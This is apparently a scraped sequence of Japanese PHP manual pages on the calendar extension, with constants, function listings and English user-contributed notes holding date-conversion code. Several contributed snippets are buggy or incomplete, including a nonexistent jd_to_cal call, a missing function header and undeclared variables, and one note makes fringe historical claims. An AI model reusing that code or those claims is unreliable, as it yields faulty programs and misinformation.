    • DateTime — DateTime クラス
    • DateTimeImmutable — DateTimeImmutable クラス
    • DateTimeInterface — DateTimeInterface インターフェイス
    • DateTimeZone — DateTimeZone クラス
    • DateInterval — DateInterval クラス
    • DatePeriod — DatePeriod クラス
    • 日付・時刻 関数
    • サポートする日付と時刻の書式
    • サポートされるタイムゾーンのリスト
  • HRTime — High resolution timing
    • はじめに
    • インストール/設定
    • 例
    • HRTime\PerformanceCounter — The HRTime\PerformanceCounter class
    • HRTime\StopWatch — The HRTime\StopWatch class
    • HRTime\Unit — The HRTime\Unit class

User Contributed Notes

There are no user contributed notes for this page.


カレンダー

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • カレンダー 関数
    • cal_days_in_month — 指定した年とカレンダーについて、月の日数を返す
    • cal_from_jd — ユリウス積算日からサポートされるカレンダーに変換する
    • cal_info — 特定のカレンダーに関する情報を返す
    • cal_to_jd — サポートされるカレンダーからユリウス積算日に変換する
    • easter_date — 指定した年における復活祭の真夜中のUnix時を得る
    • easter_days — 指定した年において、3 月 21 日から復活祭までの日数を得る
    • frenchtojd — フランス革命暦をユリウス積算日に変換する
    • gregoriantojd — グレゴリウス日をユリウス積算日に変換する
    • jddayofweek — 曜日を返す
    • jdmonthname — 月の名前を返す
    • jdtofrench — ユリウス積算日をフランス革命暦(共和暦)に変換する
    • jdtogregorian — ユリウス積算日をグレゴリウス日に変換する
    • jdtojewish — ユリウス積算日をユダヤ暦に変換する
    • jdtojulian — ユリウス積算日をユリウス暦に変換する
    • jdtounix — ユリウス歴を Unix タイムスタンプに変換する
    • jewishtojd — ユダヤ暦の日付けをユリウス積算日に変換する
    • juliantojd — ユリウス暦をユリウス積算日に変換する
    • unixtojd — Unix タイムスタンプをユリウス歴に変換する

User Contributed Notes

There are no user contributed notes for this page.


はじめに

カレンダーエクステンションは異なったカレンダーフォーマット間の変換処理をシンプルにする関数の集まりです。標準としているのは、ユリウス積算日です。 ユリウス積算日は、紀元前 4713 年 1 月 1 日から数え始められています。 複数のカレンダーシステム間の変換を行うには、ユリウス積算日に変換した後 に選択したカレンダーシステムに変換しなければなりません。 ユリウス積算日はユリウス暦とはまったく異なります! ユリウス積算日の詳細を知りたいのであれば、 » http://www.hermetic.ch/cal_stud/jdn.htm を参照ください。 カレンダーシステムに関する情報を知りたいのであれば、 » http://www.fourmilab.ch/documents/calendar/ を参照ください。 本説明にはこのページからの引用が含まれています。 このページの内容はこのチュートリアルにも反映/引用されています。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

これらの関数を動作させるには、 --enable-calendar を指定して PHP をコンパイルする必要があります。

Windows 版の PHP には この拡張モジュールのサポートが組み込まれています。これらの関数を使用 するために拡張モジュールを追加でロードする必要はありません。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

CAL_EASTER_DEFAULT (int)
easter_days() で、1753年より前はユリウス暦に従って、 それ以降はグレゴリオ暦に従って復活祭の日付を計算する。
CAL_EASTER_ROMAN (int)
easter_days() で、1583年より前はユリウス暦に従って、 それ以降はグレゴリオ暦に従って復活祭の日付を計算する。
CAL_EASTER_ALWAYS_GREGORIAN (int)
easter_days() で、先発グレゴリオ暦に従って、 復活祭の日付を計算する。
CAL_EASTER_ALWAYS_JULIAN (int)
easter_days() で、ユリウス暦に従って、 復活祭の日付を計算する。
CAL_GREGORIAN (int)
cal_days_in_month()、
cal_from_jd()、cal_info() および
cal_to_jd() で、先発グレゴリオ暦を使う。
CAL_JULIAN (int)
cal_days_in_month()、
cal_from_jd()、cal_info() および
cal_to_jd() で、ユリウス暦を使う。
CAL_JEWISH (int)
cal_days_in_month()、
cal_from_jd()、cal_info() および
cal_to_jd() で、ユダヤ暦を使う。
CAL_FRENCH (int)
cal_days_in_month()、
cal_from_jd()、cal_info() および
cal_to_jd() で、フランス革命暦を使う。
CAL_NUM_CALS (int)
利用可能なカレンダーの数。
CAL_JEWISH_ADD_ALAFIM_GERESH (int)
jdtojewish() で、年の桁区切りとして、 ゲレシュ記号（シングルクォートに似た記号）を追加する。
CAL_JEWISH_ADD_ALAFIM (int)
jdtojewish() で、年の桁区切りとして、 「alafim」という語を追加する。
CAL_JEWISH_ADD_GERESHAYIM (int)
jdtojewish() で、年と日の最後の文字の前に、 ゲルシャイム記号（ダブルクォートに似た記号）を追加する。
CAL_DOW_DAYNO (int)
jddayofweek() で、曜日を int で返す。 0 は日曜を、6 は土曜を意味する。
CAL_DOW_SHORT (int)
jddayofweek() で、曜日の省略形英語名を返す。
CAL_DOW_LONG (int)
jddayofweek() で、曜日の英語名を返す。
CAL_MONTH_GREGORIAN_SHORT (int)
jdmonthname() で、省略形のグレゴリオ歴月名を返す。
CAL_MONTH_GREGORIAN_LONG (int)
jdmonthname() で、グレゴリオ歴月名を返す。
CAL_MONTH_JULIAN_SHORT (int)
jdmonthname() で、省略形のユリウス歴月名を返す。
CAL_MONTH_JULIAN_LONG (int)
jdmonthname() で、ユリウス歴月名を返す。
CAL_MONTH_JEWISH (int)
jdmonthname() で、ユダヤ歴月名を返す。
CAL_MONTH_FRENCH (int)
jdmonthname() で、フランス革命歴月名を返す。

User Contributed Notes

There are no user contributed notes for this page.


カレンダー 関数

目次

  • cal_days_in_month — 指定した年とカレンダーについて、月の日数を返す
  • cal_from_jd — ユリウス積算日からサポートされるカレンダーに変換する
  • cal_info — 特定のカレンダーに関する情報を返す
  • cal_to_jd — サポートされるカレンダーからユリウス積算日に変換する
  • easter_date — 指定した年における復活祭の真夜中のUnix時を得る
  • easter_days — 指定した年において、3 月 21 日から復活祭までの日数を得る
  • frenchtojd — フランス革命暦をユリウス積算日に変換する
  • gregoriantojd — グレゴリウス日をユリウス積算日に変換する
  • jddayofweek — 曜日を返す
  • jdmonthname — 月の名前を返す
  • jdtofrench — ユリウス積算日をフランス革命暦(共和暦)に変換する
  • jdtogregorian — ユリウス積算日をグレゴリウス日に変換する
  • jdtojewish — ユリウス積算日をユダヤ暦に変換する
  • jdtojulian — ユリウス積算日をユリウス暦に変換する
  • jdtounix — ユリウス歴を Unix タイムスタンプに変換する
  • jewishtojd — ユダヤ暦の日付けをユリウス積算日に変換する
  • juliantojd — ユリウス暦をユリウス積算日に変換する
  • unixtojd — Unix タイムスタンプをユリウス歴に変換する

User Contributed Notes

obaida dot habboush at gmail dot com 25-Sep-2017 11:39
Hello ,

there is a mistake with function name

at class HijriCalendar {
.
.
.
.
.
.
function HijriToGregorian($m, $d, $y)
    {
        ////  jd_to_cal -> It Should Be -> cal_to_jd
        return jd_to_cal(CAL_GREGORIAN, HijriCalendar::HijriToJD($m, $d, $y));
    }
}
simon at chronolabs dot org dot au 20-Nov-2007 12:20
<?php

// You need to replace this section in Function EgyptianCalendar
// As well as Function MayanTihkalCalendar
$revolutionsperyear = $ttl_num / $i;
$numyears = floor((ceil($roun) / $revolutionsperyear));
$avg_num_month = $ttl_num_months/$i;
$jtl = abs(abs($roun) - ceil($revolutionsperyear*($numyears+1)));
while($month==0){
    $day=0;
    $u=0;
    foreach($monthusage as $key => $item){
        $t=0;
        foreach($item as $numdays){
            $t++;
            $tt=0;
            for($sh=1;$sh<=$numdays;$sh++){
                $ii=$ii+1;
                $tt++;
                if ($ii==floor($jtl)){
                    if ($roun<0){
                        $daynum = $tt;
                        $month = $t;
                    } else {
                        $daynum = $numdays-($tt-1);
                        $month = $avg_num_month-($t-1);
                    }
                    $sequence = $key;
                    $nodaycount=true;
                }
            }
            if ($nodaycount==false)
                $day++;
        }
        $u++;
    }
}
?>

This section of code need to be changed in the calculation I noticed today in our RounCalendar we had a zero day this function will calculate the month and day correctly for the calendars, it is a pretty universe piece of code, I am sorry it wasn't properly tested and need some refactoring.
simon at chronolabs dot org dot au 09-Nov-2007 11:44
This is the egyptian calendar which was the first 365 day calendar on the planet it has no leap year which makes it a little inaccurate but you can work on your own implementation of this code when you like, this is another implementation of the roun floating point code which is a universal code for generating date codec's you can make practically all calendars with this code the $pweight is based on my research on carbon date stamping etc of when egypt epoch or PPO was made, some people argue a few thousand years while other can date egypts epoch being around 30000 years ago!! This is on the basis of tidal marking on statues and momuments when the are was covered in water after construction from sea level rising.

<?php

print_r(EgyptCalendar(time(),0));

function EgyptianCalendar($unix_time, $gmt,
                 $poffset = '1970-02-26 7:45 PM',
                 $pweight = '-9777600.22222222223',
                 $defiency='nonedeficient',
                 $timeset= array("hours" => 24,
                                 "minutes" => 60,
                                 "seconds" => 60))
{
// Code Segment 1 - Calculate Floating Point
$tme = $unix_time;

if ($gmt>0){$gmt=-$gmt;} else {$gmt=abs($gmt);}

$ptime = strtotime($poffset)+(60*60*gmt);
$weight = $pweight+(1*gmt);

$egypt_xa = ($tme)/(24*60*60);
$egypt_ya = $ptime/(24*60*60);
$egypt = (($egypt_xa -$egypt_ya) -
         $weight)+(microtime/999999);

// Code Segment 2 - Set month day arrays
$nonedeficient = array(
   "seq1" => array(30,30,30,30,30,30,30,30,30,30,30,30,5));

$monthnames = array(
   "seq1" => array('Thoth','Phaophi','Athyr','Choiak',
   'Tybi', 'Mecheir','Phamenoth','Pharmuthi','Pachon',
   'Payni','Epiphi','Mesore','epagomenai'));

$monthusage = isset($defiency) ? ${$defiency} : $deficient;

// Code Segment 3 - Calculate month number, day number
foreach($monthusage as $key => $item){
    $i++;
    foreach($item as $numdays){
        $ttl_num=$ttl_num+$numdays;
        $ttl_num_months++;
    }
}

$revolutionsperyear = $ttl_num / $i;
$numyears = egyptd((floor($egypt) / $revolutionsperyear),0);
$avg_num_month = $ttl_num_months/$i;
$jtl = abs(abs($egypt) -
       ceil($revolutionsperyear*($numyears+1)));

while($month==0){
    $day=0;
    $u=0;
    foreach($monthusage as $key => $item){
        $t=0;
        foreach($item as $numdays){
            $t++;
            $tt=0;
            for($sh=1;$sh<=$numdays;$sh++){
                $ii=$ii+1;
                $tt++;
                if ($ii==floor($jtl)){
                    if ($egypt>0){
                        $daynum = $tt;
                        $month = $t;
                    } else {
                        $daynum = $numdays-$tt;
                        $month = $avg_num_month-$t;
                    }
                    $sequence = $key;
                    $nodaycount=true;
                }
            }
            if ($nodaycount==false)
                $day++;
        }
        $u++;
    }
}

//$numyears = abs($numyears);

$timer = substr($egypt, strpos($egypt,'.')+1,
    strlen($egypt)-strpos($egypt,'.')-1);
$egypt_out= $numyears.'/'.$month.'/'.$daynum.' '.$day.'.'.
    floor(intval(substr($timer,0,2))/100*$timeset['hours']).':'.
    floor(intval(substr($timer,2,2))/100*$timeset['minutes']).':'.
    floor(intval(substr($timer,4,2))/100*$timeset['seconds']).'.'.
    substr($timer,6,strlen($timer)-6);
$egypt_obj = array('year'=>$numyears,
    'month'=>$month,
    'mname' => $monthnames[$sequence][$month-1],
    'day'=>$daynum,
    'jtl'=>$jtl,
    'day_count'=>$day,
    'hours'=>floor(intval(substr($timer,0,2))/100
             *$timeset['hours']),
    'minute'=>floor(intval(substr($timer,2,2))/100
              *$timeset['minutes']),
    'seconds'=>floor(intval(substr($timer,4,2))/100
               *$timeset['seconds']),
    'microtime'=>substr($timer,6,strlen($timer)-6),
                 'strout'=>$egypt_out);

return $egypt_obj;
}

?>

btw in my previous post of the Mayan Tikal calendar the top part of the function was chopped off in my code cut and paste that is the line for the function which looks like, the top 3 line will need to be replace with:

<?php

print_r(MayanTikalCalendar(time(),0));

function MayanTikalCalendar($unix_time, $gmt,

?>
simon at chronolabs dot org dot au 08-Nov-2007 05:27
Well this is the second part, well more the second calendar of Maya the Tikal there is two of them one for long count, one for general date seeding, this is using an implementation of floating point time (roun).

<?php

$maya = MayanTikalCalendar(time(),0);

print_r($maya);

                 $poffset = '2012-12-21 8:24 PM',
                 $pweight = '-1872000.22222222223',
                 $defiency='nonedeficient',
                 $timeset= array("hours" => 24,
                                 "minutes" => 60,
                                 "seconds" => 60))
{
// Code Segment 1 - Calculate Floating Point
$tme = $unix_time;
if ($gmt>0){ $gmt=-$gmt; } else { $gmt=abs($gmt); }

$ptime = strtotime($poffset)+(60*60*gmt);
$maya_xa = ($tme)/(24*60*60);
$maya_ya = $ptime/(24*60*60);
$maya = (($maya_xa -$maya_ya) - $pweight)+(microtime/999999);

// Code Segment 2 - Set month day arrays
$nonedeficient = array(
"seq1" => array(20,20,20,20,20,20,20,20,20,
                20,20,20,20,20,20,20,20,20,5));

$monthnames = array("seq1" => array(
 'Pop', 'Uo', 'Zip', 'Zot\'z', 'Tzec', 'Xul',
 'Yaxkin', 'Mol', 'Ch\'en', 'Yax', 'Zac', 'Ceh',
 'Mac', 'Kankin', 'Muan', 'Pax', 'Kayab',
 'Cumku', 'Uayeb'));
$daynames = array("seq1" => array(
 'Imix', 'Ik', 'Akbal', 'Kan', 'Chicchan',
 'Cimi','Manik', 'Lamat', 'Muluc', 'Oc',
 'Chuen', 'Eb', 'Ben', 'Ix', 'Men',
 'Cib', 'Caban', 'Etz\'nab', 'Cauac', 'Ahau'));
$monthusage = isset($defiency) ? ${$defiency} : $deficient;

// Code Segment 3 - Calculate month number, day numbers etc
foreach($monthusage as $key => $item){
    $i++;
    foreach($item as $numdays){
        $ttl_num=$ttl_num+$numdays;
        $ttl_num_months++;
    }
}

$revolutionsperyear = $ttl_num / $i;
$numyears = (round((floor($maya) / $revolutionsperyear),0));
$avg_num_month = $ttl_num_months/$i;
$jtl = abs(abs($maya) -
       ceil($revolutionsperyear*($numyears+1)));

while($month==0){
    $day=0;
    $u=0;
    foreach($monthusage as $key => $item){
        $t=0;
        foreach($item as $numdays){
            $t++;
            $tt=0;
            for($sh=1;$sh<=$numdays;$sh++){
                $ii=$ii+1;
                $tt++;
                if ($ii==floor($jtl)){
                    if ($maya>0){
                        $daynum = $tt;
                        $month = $t;
                    } else {
                        $daynum = $numdays-$tt;
                        $month = $avg_num_month-$t;
                    }
                    $sequence = $key;
                    $nodaycount=true;
                }
            }
            if ($nodaycount==false)
                $day++;
        }
        $u++;
    }
}

$timer = substr($maya, strpos($maya,'.')+1,
         strlen($maya)-strpos($maya,'.')-1);
$maya_out= $numyears.'/'.$month.'/'.$daynum.' '.$day.'.'.
  floor(intval(substr($timer,0,2))/100*$timeset['hours']).':'.
  floor(intval(substr($timer,2,2))/100*$timeset['minutes']).':'.
  floor(intval(substr($timer,4,2))/100*$timeset['seconds']).'.'.
  substr($timer,6,strlen($timer)-6);

$maya_obj = array(
  'longcount'=>MayanLongCount($tme),'year'=>abs($numyears),
  'month'=>$month, 'mname' => $monthnames[$sequence][$month-1],
  'day'=>$daynum, 'dayname'=>$daynames[$sequence][$daynum-1],
  'day'=>$daynum, 'jtl'=>$jtl, 'day_count'=>$day,
  'hours'=>     floor(intval(substr($timer,0,2))/100
             *$timeset['hours']),
  'minute'=> floor(intval(substr($timer,2,2))/100
             *$timeset['minutes']),
  'seconds'=>floor(intval(substr($timer,4,2))/100
             *$timeset['seconds']),
  'microtime'=>substr($timer,6,strlen($timer)-6),
  'strout'=>$maya_out);

return $maya_obj;
}

?>
simon at chronolabs dot org dot au 07-Nov-2007 10:00
This will return the mayan long count calendar which cycle reaches 13.0.0.0.0 in 2012, I have had to compress the changemaya function for this code library so if you want to space it out your more than welcome. It works with unix time. To call the routine use the following syntax. The mayan calendar is a day count that is around 5000 years old, it tracks our cestial position in the galaxy

<?php

echo MayanLongCount(time());

function MayanLongCount($tme){

    $config = array('ppo' => array(13,0,0,0,0),
                    'epoch' => strtotime('2012-12-21'));

    $diff=(($tme-$config['epoch'])/(60*60*24));
    $ppo = changemaya($config['ppo'],ceil($diff));

    return $ppo[0].'.'.$ppo[1].'.'.$ppo[2].'.'.$ppo[3].'.'.$ppo[4];
}

function changemaya($ppo,$diff){
if ($diff>0) { $amount=1; } else { $amount=-1; }
for ($sh=1;$sh<abs($diff);$sh++){ if ($ppo[4]+$amount>20){
if ($ppo[3]+$amount>20){ if ($ppo[2]+$amount>20){
if ($ppo[1]+$amount>20){ if ($ppo[0]+$amount>20){
$ppo[0]=0; $ppo[1]=0; $ppo[2]=0; $ppo[3]=0; $ppo[4]=0;
} else { $ppo[1]=0; $ppo[0]=$ppo[0]+$amount;}
} else { $ppo[2]=0; $ppo[1]=$ppo[1]+$amount;    }
} else {$ppo[3]=0; $ppo[2]=$ppo[2]+$amount; }
} else { $ppo[4]=0; $ppo[3]=$ppo[3]+$amount; }
} elseif ($ppo[4]+$amount<0){ if ($ppo[3]+$amount<0){
if ($ppo[2]+$amount<0){    if ($ppo[1]+$amount<0){
if ($ppo[0]+$amount<0){    $ppo[0]=20;    $ppo[1]=0;
$ppo[2]=0; $ppo[3]=0; $ppo[4]=0;
} else { $ppo[1]=20; $ppo[0]=$ppo[0]+$amount; }
} else { $ppo[2]=20; $ppo[1]=$ppo[1]+$amount; }
} else { $ppo[3]=20; $ppo[2]=$ppo[2]+$amount; }
} else { $ppo[4]=20; $ppo[3]=$ppo[3]+$amount; }
} else { $ppo[4]=$ppo[4]+$amount;}}
    return $ppo;
}

?>

Thanks!!
david dot scourfield at llynfi dot co dot uk 17-Aug-2007 03:13
I created this function a while ago and needed it again recently, so had to trawl through some old files to find it. Thought I'd post it here in case anyone else finds it useful.

<?php

/*
 *    Function to calculate which days are British bank holidays (England & Wales) for a given year.
 *
 *    Created by David Scourfield, 07 August 2006, and released into the public domain.
 *    Anybody may use and/or modify this code.
 *
 *    USAGE:
 *
 *    array calculateBankHolidays(int $yr)
 *
 *    ARGUMENTS
 *
 *    $yr = 4 digit numeric representation of the year (eg 1997).
 *
 *    RETURN VALUE
 *
 *    Returns an array of strings where each string is a date of a bank holiday in the format "yyyy-mm-dd".
 *
 *    See example below
 *
 */

function calculateBankHolidays($yr) {

    $bankHols = Array();

    // New year's:
    switch ( date("w", strtotime("$yr-01-01 12:00:00")) ) {
        case 6:
            $bankHols[] = "$yr-01-03";
            break;
        case 0:
            $bankHols[] = "$yr-01-02";
            break;
        default:
            $bankHols[] = "$yr-01-01";
    }

    // Good friday:
    $bankHols[] = date("Y-m-d", strtotime( "+".(easter_days($yr) - 2)." days", strtotime("$yr-03-21 12:00:00") ));

    // Easter Monday:
    $bankHols[] = date("Y-m-d", strtotime( "+".(easter_days($yr) + 1)." days", strtotime("$yr-03-21 12:00:00") ));

    // May Day:
    if ($yr == 1995) {
        $bankHols[] = "1995-05-08"; // VE day 50th anniversary year exception
    } else {
        switch (date("w", strtotime("$yr-05-01 12:00:00"))) {
            case 0:
                $bankHols[] = "$yr-05-02";
                break;
            case 1:
                $bankHols[] = "$yr-05-01";
                break;
            case 2:
                $bankHols[] = "$yr-05-07";
                break;
            case 3:
                $bankHols[] = "$yr-05-06";
                break;
            case 4:
                $bankHols[] = "$yr-05-05";
                break;
            case 5:
                $bankHols[] = "$yr-05-04";
                break;
            case 6:
                $bankHols[] = "$yr-05-03";
                break;
        }
    }

    // Whitsun:
    if ($yr == 2002) { // exception year
        $bankHols[] = "2002-06-03";
        $bankHols[] = "2002-06-04";
    } else {
        switch (date("w", strtotime("$yr-05-31 12:00:00"))) {
            case 0:
                $bankHols[] = "$yr-05-25";
                break;
            case 1:
                $bankHols[] = "$yr-05-31";
                break;
            case 2:
                $bankHols[] = "$yr-05-30";
                break;
            case 3:
                $bankHols[] = "$yr-05-29";
                break;
            case 4:
                $bankHols[] = "$yr-05-28";
                break;
            case 5:
                $bankHols[] = "$yr-05-27";
                break;
            case 6:
                $bankHols[] = "$yr-05-26";
                break;
        }
    }

    // Summer Bank Holiday:
    switch (date("w", strtotime("$yr-08-31 12:00:00"))) {
        case 0:
            $bankHols[] = "$yr-08-25";
            break;
        case 1:
            $bankHols[] = "$yr-08-31";
            break;
        case 2:
            $bankHols[] = "$yr-08-30";
            break;
        case 3:
            $bankHols[] = "$yr-08-29";
            break;
        case 4:
            $bankHols[] = "$yr-08-28";
            break;
        case 5:
            $bankHols[] = "$yr-08-27";
            break;
        case 6:
            $bankHols[] = "$yr-08-26";
            break;
    }

    // Christmas:
    switch ( date("w", strtotime("$yr-12-25 12:00:00")) ) {
        case 5:
            $bankHols[] = "$yr-12-25";
            $bankHols[] = "$yr-12-28";
            break;
        case 6:
            $bankHols[] = "$yr-12-27";
            $bankHols[] = "$yr-12-28";
            break;
        case 0:
            $bankHols[] = "$yr-12-26";
            $bankHols[] = "$yr-12-27";
            break;
        default:
            $bankHols[] = "$yr-12-25";
            $bankHols[] = "$yr-12-26";
    }

    // Millenium eve
    if ($yr == 1999) {
        $bankHols[] = "1999-12-31";
    }

    return $bankHols;

}

/*
 *    EXAMPLE:
 *
 */

header("Content-type: text/plain");

$bankHolsThisYear = calculateBankHolidays(2007);

print_r($bankHolsThisYear);

?>

Will output this result:

Array
(
    [0] => 2007-01-01
    [1] => 2007-04-06
    [2] => 2007-04-09
    [3] => 2007-05-07
    [4] => 2007-05-28
    [5] => 2007-08-27
    [6] => 2007-12-25
    [7] => 2007-12-26
)
amichauer at gmx dot de 27-Jun-2005 09:46
<?php

class HijriCalendar
{
    function monthName($i) // $i = 1..12
    {
        static $month  = array(
            "M?x?rr?m", "Safar", "Rabig-?l-?ww?l", "Rabig-?l-Ax?r",
            "C?m?d-?l-?ww?l", "C?m?d-?l-Ax?r", "Rac?b", "???b?n",
            "Ramazan", "??w?l", "Z?-?l-Q??d?", "Z?-?l-Xicc?"
        );
        return $month[$i-1];
    }

    function GregorianToHijri($time = null)
    {
        if ($time === null) $time = time();
        $m = date('m', $time);
        $d = date('d', $time);
        $y = date('Y', $time);

        return HijriCalendar::JDToHijri(
            cal_to_jd(CAL_GREGORIAN, $m, $d, $y));
    }

    function HijriToGregorian($m, $d, $y)
    {
        return jd_to_cal(CAL_GREGORIAN,
            HijriCalendar::HijriToJD($m, $d, $y));
    }

    # Julian Day Count To Hijri
    function JDToHijri($jd)
    {
        $jd = $jd - 1948440 + 10632;
        $n  = (int)(($jd - 1) / 10631);
        $jd = $jd - 10631 * $n + 354;
        $j  = ((int)((10985 - $jd) / 5316)) *
            ((int)(50 * $jd / 17719)) +
            ((int)($jd / 5670)) *
            ((int)(43 * $jd / 15238));
        $jd = $jd - ((int)((30 - $j) / 15)) *
            ((int)((17719 * $j) / 50)) -
            ((int)($j / 16)) *
            ((int)((15238 * $j) / 43)) + 29;
        $m  = (int)(24 * $jd / 709);
        $d  = $jd - (int)(709 * $m / 24);
        $y  = 30*$n + $j - 30;

        return array($m, $d, $y);
    }

    # Hijri To Julian Day Count
    function HijriToJD($m, $d, $y)
    {
        return (int)((11 * $y + 3) / 30) +
            354 * $y + 30 * $m -
            (int)(($m - 1) / 2) + $d + 1948440 - 385;
    }
};

$hijri = HijriCalendar::GregorianToHijri( time() );
echo $hijri[1].'. '.HijriCalendar::monthName($hijri[0]).' '.$hijri[2];

?>
jthome at fcgov dot com 02-Oct-2003 11:38
Had a similar problem as curlee, except I needed to create a JDE_ERP date.  [format is CYYDDD]

<?php

function jde_date_create($month, $day, $year){
    /*
    *  NOTE: $month and $day CANNOT have leading zeroes,
    *        $year must be'YYYY' format
    */
    $jde_year_prefix = substr($year, 0, 1) - 1;
    $jde_year_suffix = substr($year, -2);

    //note that valid years for mktime are 1902-2037
    $timestamp = mktime(0,0,0,$month, $day, $year);
    $baseline_timestamp = mktime(0,0,0,1,0,$year);

    $day_count = round(($timestamp - $baseline_timestamp)/86400);
    $day_count_padded = str_pad($day_count,3,"0",STR_PAD_LEFT);

    return ($jde_year_prefix . $jde_year_suffix . $day_count_padded);

}

echo jde_date_create(6,25,2000);// will return '103176'

?>

--
Jim
curlee at mindspring dot com 29-Aug-2003 08:55
I solved a problem with Julian dates that are used in the JD Edwards ERP package (running on AS/400).  The Julian format for this system is as follows:  CYYDDD

Where C is 0 for 1900 and 1 for 2000
DDD is the day of the year count

I used the mktime built-in php function to convert dates to the normal DD/MM/YYYY format.  This function will convert dates that are between 1970 and 2038 (limitation of unix timestamps and the mktime function)

The $jde_date var needs to be a 6 len STRING.... if you use a numeric var type it will drop the leading 0 for any date that represents 1900.... this will botch the substr functions and thus make the whole thing wrong.

<?php
function jde_date_conv($jde_date)
{

$ct = substr($jde_date,0,1);
$yr = substr($jde_date,1,2);
$dy = substr($jde_date,3,3);

if($ct == 0) $yr_pfx = 19;
if($ct == 1) $yr_pfx = 20;

$tlt_yr = $yr_pfx.$yr;

$base_time = mktime(0,0,0,1,0,$tlt_yr);

$unix_time = ($dy * 86400) + $base_time;

return date("m/d/Y" , $unix_time);
}
?>


指定した年とカレンダーについて、月の日数を返す

  • ≪ カレンダー 関数
  • cal_from_jd ≫
  • PHP Manual
  • カレンダー 関数
  • 指定した年とカレンダーについて、月の日数を返す

cal_days_in_month

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

cal_days_in_month — 指定した年とカレンダーについて、月の日数を返す

説明

cal_days_in_month ( int $calendar , int $month , int $year ) : int

この関数は、指定した calendar について year 年 month 月の日数を返します。

パラメータ

calendar

計算に使用するカレンダー。

month

選択したカレンダーにおける月。

year

選択したカレンダーにおける年。

返り値

指定したカレンダーの、その月の日数を返します。

例

例1 cal_days_in_month() の例

<?php
$number = cal_days_in_month(CAL_GREGORIAN, 8, 2003); // 31
echo "2003 年 8 月の日数は {$number} 日です";
?>

User Contributed Notes

brian at b5media dot com 04-Dec-2007 04:55
Remember if you just want the days in the current month, use the date function:
$days = date("t");
geko45pj at yahoo dot com 18-Jul-2007 11:28
<?php
# PHP Calendar (version 2.3), written by Keith Devens

function generate_calendar($year, $month, $days = array(), $day_name_length = 3, $month_href = NULL, $first_day = 0, $pn = array()){
    $first_of_month = gmmktime(0,0,0,$month,1,$year);

    #remember that mktime will automatically correct if invalid dates are entered
    # for instance, mktime(0,0,0,12,32,1997) will be the date for Jan 1, 1998
    # this provides a built in "rounding" feature to generate_calendar()

    $day_names = array(); #generate all the day names according to the current locale
    for($n=0,$t=(3+$first_day)*86400; $n<7; $n++,$t+=86400) #January 4, 1970 was a Sunday
        $day_names[$n] = ucfirst(gmstrftime('%A',$t)); #%A means full textual day name

    list($month, $year, $month_name, $weekday) = explode(',',gmstrftime('%m,%Y,%B,%w',$first_of_month));
    $weekday = ($weekday + 7 - $first_day) % 7; #adjust for $first_day
    $title   = htmlentities(ucfirst($month_name)).'&nbsp;'.$year;  #note that some locales don't capitalize month and day names

    #Begin calendar. Uses a real <caption>. See http://diveintomark.org/archives/2002/07/03
    @list($p, $pl) = each($pn); @list($n, $nl) = each($pn); #previous and next links, if applicable
    if($p) $p = '<span class="calendar-prev">'.($pl ? '<a href="'.htmlspecialchars($pl).'">'.$p.'</a>' : $p).'</span>&nbsp;';
    if($n) $n = '&nbsp;<span class="calendar-next">'.($nl ? '<a href="'.htmlspecialchars($nl).'">'.$n.'</a>' : $n).'</span>';
    $calendar = '<table class="calendar">'."\n".
        '<caption class="calendar-month">'.$p.($month_href ? '<a href="'.htmlspecialchars($month_href).'">'.$title.'</a>' : $title).$n."</caption>\n<tr>";

    if($day_name_length){ #if the day names should be shown ($day_name_length > 0)
        #if day_name_length is >3, the full name of the day will be printed
        foreach($day_names as $d)
            $calendar .= '<th abbr="'.htmlentities($d).'">'.htmlentities($day_name_length < 4 ? substr($d,0,$day_name_length) : $d).'</th>';
        $calendar .= "</tr>\n<tr>";
    }

    if($weekday > 0) $calendar .= '<td colspan="'.$weekday.'">&nbsp;</td>'; #initial 'empty' days
    for($day=1,$days_in_month=gmdate('t',$first_of_month); $day<=$days_in_month; $day++,$weekday++){
        if($weekday == 7){
            $weekday   = 0; #start a new week
            $calendar .= "</tr>\n<tr>";
        }
        if(isset($days[$day]) and is_array($days[$day])){
            @list($link, $classes, $content) = $days[$day];
            if(is_null($content))  $content  = $day;
            $calendar .= '<td'.($classes ? ' class="'.htmlspecialchars($classes).'">' : '>').
                ($link ? '<a href="'.htmlspecialchars($link).'">'.$content.'</a>' : $content).'</td>';
        }
        else $calendar .= "<td>$day</td>";
    }
    if($weekday != 7) $calendar .= '<td colspan="'.(7-$weekday).'">&nbsp;</td>'; #remaining "empty" days

    return $calendar."</tr>\n</table>\n";
}
echo generate_calendar(2010, 12, 16,3,NULL,0,15, $first_of_month, $day_names, $day_names[$n]);
#echo generate_calendar($year, $month, $days,$day_name_length,$month_href,$first_day,$pn);
?>
jeffbeall at comcast dot net 14-Apr-2004 10:04
This will work great in future dates but will give the wrong answer for dates before 1550 (approx) when leap year was introduced and the calendar lost a year or two.
Sorry now to be more specific it has been a while sine I had to account for those later dates and had to take that into account but just a heads up for others to watch out.
dbindel at austin dot rr dot com 01-Jan-2004 09:06
Here's a one-line function I just wrote to find the numbers of days in a month that doesn't depend on any other functions.

The reason I made this is because I just found out I forgot to compile PHP with support for calendars, and a class I'm writing for my website's open source section was broken. So rather than recompiling PHP (which I will get around to tomorrow I guess), I just wrote this function which should work just as well, and will always work without the requirement of PHP's calendar extension or any other PHP functions for that matter.

I learned the days of the month using the old knuckle & inbetween knuckle method, so that should explain the mod 7 part. :)

<?php
/*
 * days_in_month($month, $year)
 * Returns the number of days in a given month and year, taking into account leap years.
 *
 * $month: numeric month (integers 1-12)
 * $year: numeric year (any integer)
 *
 * Prec: $month is an integer between 1 and 12, inclusive, and $year is an integer.
 * Post: none
 */
// corrected by ben at sparkyb dot net
function days_in_month($month, $year)
{
// calculate number of days in a month
return $month == 2 ? ($year % 4 ? 28 : ($year % 100 ? 29 : ($year % 400 ? 28 : 29))) : (($month - 1) % 7 % 2 ? 30 : 31);
}
?>

Enjoy,
David Bindel


ユリウス積算日からサポートされるカレンダーに変換する

  • ≪ cal_days_in_month
  • cal_info ≫
  • PHP Manual
  • カレンダー 関数
  • ユリウス積算日からサポートされるカレンダーに変換する
